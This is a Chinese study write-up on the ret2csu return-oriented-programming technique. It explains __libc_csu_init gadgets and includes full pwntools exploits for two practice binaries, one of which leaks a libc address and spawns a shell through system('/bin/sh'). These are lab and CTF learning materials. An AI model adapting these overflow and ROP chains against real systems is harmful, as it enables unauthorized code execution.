ret2csu学习

  1. 1. the attached code
  2. 2. find gadget from attached code
  3. 3. practice
    1. 3.1. ret2csu
    2. 3.2. level5

2018年blackhat的议题,pdf地址:https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf

the attached code

了解ret2csu之前先了解一下attached code的概念。

先看一个最简单的程序:

1
2
3
int main(int argc,const char *argv[]){
return 0;
}

这个程序编译之后,查询可执行文件的函数符号:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@Ubuntu:/pwn/wiki/mediumRop/ret2csu# nm -a empty | grep " t\| T"
0000000000001070 t deregister_tm_clones
00000000000010e0 t __do_global_dtors_aux
00000000000011b8 t .fini
00000000000011b8 T _fini
0000000000001120 t frame_dummy
0000000000001000 t .init
0000000000001000 t _init
00000000000011b0 T __libc_csu_fini
0000000000001140 T __libc_csu_init
0000000000001129 T main
0000000000001020 t .plt
0000000000001030 t .plt.got
00000000000010a0 t register_tm_clones
0000000000001040 T _start
0000000000001040 t .text

发现除了main函数还有很多其它函数,这些函数是编译器附加到可执行文件中的,称之为attached code.

这些attached code在main函数之前执行,负责加载或者链接库文件. 这些函数的执行顺序如下:

image

find gadget from attached code

  • Q: 能否从attached code找一些通用的gadget?
  • A: yes

在attached code中存在__libc_csu_init() 函数: 存在如下的gadget

image

可以在执行完第二个gadget之后ret到第一个gadget, 这样即可控制很多关键寄存器的值, 这对x64下函数调用帮助很大.

 x64函数调用中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9

1
callq *(%r15,%rbx,8) -> (%r15 + (%rbx * 8) )

但是需要注意的是此gadget不能控制rax的值, 也就无法直接进行系统调用,因为系统调用号是存在rax里面的.(而且也没有SYSCALL/SYSENTER/INT 0x80)

但是可以直接调用write函数等来泄露got表中函数的地址,然后计算出libc地址,前提是不开pie(

1
write@plt(4, &GOT_TABLE[1], 8);

如图:

image

利用libc中的ROP GetShell:

image

所以有如下几种利用场景:

  1. ret2csu泄露libc地址之后利用libc中的gadget getshell.
  2. ret2csu配合pop rax; syscall; 等gadget直接GetShell.
  3. 开启PIE的情况下,利用offset2lib进行ret2csu,或者直接利用libc中的gadget getshell.

offset2lib参考: http://cybersecurity.upv.es/attacks/offset2lib/offset2lib-presentation.pdf
简单来说就是泄露任意代码段地址即可推得所有共享库地址,因为共享库之间的offset是固定的.

image

practice

ret2csu

题目地址: https://ropemporium.com/challenge/ret2csu.html

main函数直接调用pwnme 函数:

image

且存在ret2win函数:

image

满足a1 == 0xDEADBEEFDEADBEEFLL && a2 == 0xCAFEBABECAFEBABELL && a3 == 0xD00DF00DD00DF00DLL即可输出flag.

这里可以利用ret2csu修改部分寄存器的值,但是存在一个问题是,mov edi, r13d , rdi作为第一个参数需要赋值为0xDEADBEEFDEADBEEFLLmov edi,r13d 会让rdi寄存器的高位为0. 无法拿到flag.

解决方法是在ret2csu之后再次使用rop,pop_rdi_ret 修改rdi寄存器的值.

即:

drawio

而成功执行到第二个retn , 必须满足以下几个条件:
(1) jnz不调整,即rbp==rbx, 控制rbp = rbx+1即可
(2) 使call [r12+rbx*8] 调用不发生异常且不改变寄存器的值,需要找到一个指针指向可执行函数.
这里直接参考了writewp . 寻找的方法有两种思路:

  1. ghidra搜索:

image

  1. .dynamic section

这是动态链接过程中会使用到的一个section, 包含了一系列的数组元素,单个成员的结构如下:

1
2
3
4
5
6
7
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;

可以看到第二份字段可以为value或者指针(ptr), 本例中这个数组为如下所示:

image

一些字段的意义:

类型 说明
NEEDED 依赖的共享对象文件
INIT 初始化代码地址,也就是.init的位置
FINT 是结束代码地址,也就是.fini的位置
GUN_HASH 动态链接哈希表地址
STRTAB 动态链接字符串表的位置,表示.dynstr的位置
SYMTAB 动态链接符号表的位置,表示.dynsym的位置;
PLTGOT 指向.got的位置
JMPREL 表示重定位表,也就是.rel.plt
REL\RELA 表示动态链接重定位表的位置;RELENT/RELAENT表示动态重读位表入口数量

可以利用0x600E38 或者0x600E48 处的指针来完成解引用,运行fini或者init处的代码,这些代码片段在本例中都很多,且只影响rax寄存器的使用.

image

完整exp: 参考 https://meowmeowxw.gitlab.io/wargame/rop-emporium/7-ret2csu/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = process('./ret2csu')
#io = gdb.debug('./ret2csu','''b pwnme
#b *0x0000000000400689''')
elf = ELF('./ret2csu')
pause()
csu_gadget1 = 0x0000000000400680 # mov rdx, r15;mov rsi, r14;mov edi, r13d;call [r12+rbx*8];
csu_gadget2 = 0x000000000040069A # pop rbx;pop rbp;pop r12;pop r13;pop r14;pop r15;ret;
pop_rdi_ret = 0x00000000004006a3

ret2win = elf.symbols['ret2win']

a1 = 0xDEADBEEFDEADBEEF
a2 = 0xCAFEBABECAFEBABE
a3 = 0xD00DF00DD00DF00D

io.recvuntil(b'> ')

p = b'a'*(0x20 + 8)
p += p64(csu_gadget2)
p += p64(0) # rbx
p += p64(1) # rbp
p += p64(0x600e48) # .dynamic -> .fini -> empty function -> don't change
p += p64(a1) # r13d -> edi
p += p64(a2) # r14 -> rsi
p += p64(a3) # r15 -> rdx
p += p64(csu_gadget1)
p += b'0'*(7*8) # padding
p += p64(pop_rdi_ret)
p += p64(a1)
p += p64(ret2win)

io.sendline(p)
io.recv()

level5

参考蒸米师傅的ROP教程, 源码如下:

level5.c

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

编译: gcc -fno-stack-protector -no-pie -o level5 level5.c , 注意不开pie和canary.

思路是通过ret2csu调用write函数,泄露write/read函数地址,然后计算出libc地址之后再通过libc的ROP chain 来getshell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = process('./level5')
elf = ELF('./level5')
libc = ELF('./libc.so.6')

csu_gadget1 = 0x0000000000401200
csu_gadget2 = 0x000000000040121A

io.recvuntil(b'Hello, World\n')
pause()
# RDI, RSI, RDX, RCX, R8 , R9
p = b'a'*(0x80 + 8)
p += p64(csu_gadget2)
p += p64(0) # rbx
p += p64(1) # rbp
p += p64(1) # r12 -> edi -> 1
p += p64(elf.got['write']) # r13 -> rsi -> got.write
p += p64(0x10) # r14 -> rdx -> size
p += p64(0x403E48) # *r15 -> fini
p += p64(csu_gadget1)
p += b'0'*(7*8) # padding
p += p64(elf.symbols['write'])
p += p64(elf.symbols['main'])
io.sendline(p)
r = io.recv(6)
write_address = u64(r.ljust(8,b'\x00'))
success(f"write address: {hex(write_address)}")
io.recvuntil(b'Hello, World\n')

libcbase = write_address - libc.symbols['write']
system_address = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))
pop_rdi_ret = 0x0000000000401223

p = b'a'*(0x80 + 8)
p += p64(pop_rdi_ret)
p += p64(bin_sh)
p += p64(system_address)
io.sendline(p)

io.interactive()